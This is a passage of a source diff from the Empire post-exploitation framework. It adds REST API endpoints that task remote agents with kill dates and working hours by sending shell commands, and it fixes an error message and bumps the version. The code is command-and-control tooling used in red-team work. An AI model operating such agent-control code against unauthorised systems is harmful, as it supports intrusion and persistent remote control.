'Ineligible listener for updatecomms command: %s' % active_listener['moduleName']}) + + @app.route('/api/agents//killdate', methods=['PUT']) + def agent_kill_date(agent_name): + """ + Set an agent's killdate (01/01/2016) + + Takes {'kill_date': 'date'} + """ + + if not request.json: + return make_response(jsonify({'error':'request body must be valid JSON'}), 400) + + if not 'kill_date' in request.json: + return make_response(jsonify({'error':'JSON body must include key "kill_date"'}), 400) + + try: + kill_date = request.json['kill_date'] + + # update this agent's information in the database + main.agents.set_agent_field_db("kill_date", kill_date, agent_name) + + # task the agent + main.agents.add_agent_task_db(agent_name, "TASK_SHELL", "Set-KillDate " + str(kill_date)) + + # update the agent log + msg = "Tasked agent to set killdate to " + str(kill_date) + main.agents.save_agent_log(agent_name, msg) + return jsonify({'success': True}) + except: + return jsonify({'error': 'Unable to update agent killdate'}) + + @app.route('/api/agents//workinghours', methods=['PUT']) + def agent_working_hours(agent_name): + """ + Set an agent's working hours (9:00-17:00) + + Takes {'working_hours': 'working_hours'} + """ + + if not request.json: + return make_response(jsonify({'error':'request body must be valid JSON'}), 400) + + if not 'working_hours' in request.json: + return make_response(jsonify({'error':'JSON body must include key "working_hours"'}), 400) + + try: + working_hours = request.json['working_hours'] + working_hours = working_hours.replace(",", "-") + + # update this agent's information in the database + main.agents.set_agent_field_db("working_hours", working_hours, agent_name) + + # task the agent + main.agents.add_agent_task_db(agent_name, "TASK_SHELL", "Set-WorkingHours " + str(working_hours)) + + # update the agent log + msg = "Tasked agent to set working hours to " + str(working_hours) + main.agents.save_agent_log(agent_name, msg) + return jsonify({'success': True}) + except: + return jsonify({'error': 'Unable to update agent workinghours'}) + @app.route('/api/agents//rename', methods=['POST']) def task_agent_rename(agent_name): """ Renames the specified agent. - Takes {'newname':'NAME'} + Takes {'newname': 'NAME'} """ agentNameID = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name]) @@ -1164,7 +1258,7 @@ def start_restful_api(empireMenu: MainMenu, suppress=False, username=None, passw return make_response(jsonify({'error':'request body must be valid JSON'}), 400) if not 'notes' in request.json: - return make_response(jsonify({'error':'JSON body must include key "credentials"'}), 400) + return make_response(jsonify({'error':'JSON body must include key "notes"'}), 400) notes = request.json['notes'] diff --git a/lib/common/empire.py b/lib/common/empire.py index e5d7284e1..f08bca16d 100755 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -18,7 +18,7 @@ from flask_socketio import SocketIO -VERSION = "3.6.0 BC Security Fork" +VERSION = "3.6.1 BC Security Fork" from pydispatch import dispatcher diff --git a/plugins/example.py b/plugins/example.py index 42d28e61c..09f16b82d 100644 --- a/plugins/example.py +++ b/plugins/example.py @@ -87,7 +87,6 @@ def register(self, mainMenu): def do_test(self, args): """ An example of a plugin function. - Usage: test """ print("This is executed from a plugin!") @@ -116,3 +115,4 @@ def shutdown(self): """ # If the plugin spawns a process provide a shutdown method for when Empire exits else leave it as pass pass +